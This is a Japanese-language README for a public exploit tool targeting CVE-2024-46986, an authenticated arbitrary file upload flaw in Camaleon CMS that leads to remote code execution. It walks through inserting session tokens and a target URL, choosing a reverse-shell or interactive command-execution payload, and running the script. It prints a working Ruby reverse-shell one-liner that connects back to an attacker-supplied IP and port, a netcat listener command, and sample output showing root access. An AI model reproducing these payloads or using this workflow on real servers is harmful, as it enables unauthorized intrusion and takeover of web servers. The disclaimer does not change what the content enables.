## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VIDURA2-CVE-2024-46986
# CVE-2024-46986
# Camaleon CMS エクスプロイト - 任意のファイルアップロード
このリポジトリには、Camaleon CMS のファイルアップロード脆弱性の悪用を自動化する Python スクリプトが含まれています。この脆弱性により、攻撃者は任意のファイル（Ruby スクリプトなど）をサーバーにアップロードでき、リモートコード実行（RCE）やその他の深刻なセキュリティ影響につながる可能性があります。
## 特徴
* **ファイルアップロードエクスプロイト** : 悪意のある Ruby スクリプトをターゲットサーバーにアップロードします。
* **ペイロードオプション** : リバースシェルペイロードとコマンド実行ペイロードを選択できます。
* **コマンドの繰り返し実行** : コマンド実行ペイロードの場合、スクリプトはユーザーがコマンドを繰り返し入力できます。
* **自動化** : Python の `requests` ライブラリを使用してプロセス全体を自動化します。
## 前提条件
* **有効なユーザー認証情報** : エクスプロイトが機能するには、認証済みセッションが必要です。有効なユーザーの `auth_token` と `_cms_session` が必要です。
* **Python 3.x** : Python 3.x がインストールされていることを確認してください。
* **Python`requests` ライブラリ**: まだインストールされていない場合は、`requests` ライブラリをインストールしてください。
root@kitploit:~
pip install requests
## 使い方
root@kitploit:~
リポジトリをクローンします:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
## スクリプトを変更する:
root@kitploit:~
Python スクリプト内のプレースホルダー your_auth_token_here、your_session_token_here、https://target_site_here を実際の値に置き換えてください。
リバースシェルペイロードを使用する場合は、your_ip と your_port も、あなたの IP アドレスとリスナーをセットアップするポートに置き換えてください。
## ペイロードの種類を選択する:
root@kitploit:~
リバースシェル: リバースシェルをアップロードするには、スクリプト内の payload_type 変数を "reverse_shell" に設定します。
コマンド実行: システムコマンドを実行するスクリプトをアップロードするには、payload_type を "command_execution" に設定します。ターゲットサーバーで実行するコマンドを繰り返し入力できるようになります。
## エクスプロイトを実行する:
bash
python exploit_camaleon.py
コマンド実行ペイロードを使用する場合、複数のコマンドを入力できます:
bash
root@kitploit:~
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
ペイロードの種類
1. リバースシェル
リバースシェルペイロードは攻撃者のマシンに接続を返し、サーバー上でのリモートコード実行を可能にします。
root@kitploit:~
Python コード内の Ruby スクリプトで IP とポートを変更してください。
ペイロードの例:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
netcat を使用して自分のマシンにリスナーをセットアップします:
bash
root@kitploit:~
nc -lvnp <your_port>
2\. コマンド実行
このペイロードは、サーバー上でシステムコマンド（例: whoami）を実行する Ruby スクリプトをアップロードします。実行中はコマンドを繰り返し入力できます。
root@kitploit:~
スクリプトは exit と入力するまでコマンドを要求し続けます。
例:
ruby
system("whoami")
エクスプロイト成功の例
エクスプロイトが正常に実行されると、成功を示す出力がターミナルに表示されます:
python
Exploit executed successfully with payload type: reverse_shell!
リバースシェルを使用する場合、netcat リスナーから侵害されたサーバーのシェルにアクセスできます。
コマンド実行ペイロードの場合:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
## 免責事項
このスクリプトは教育目的のみを意図しています。作者は、このエクスプロイトによって引き起こされた誤用や損害について一切責任を負いません。脆弱性のテストや悪用を行う前に、必ず許可を得てください。 貢献
改善や追加機能のために、遠慮なく issue やプルリクエストを送信してください!
## ライセンス
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。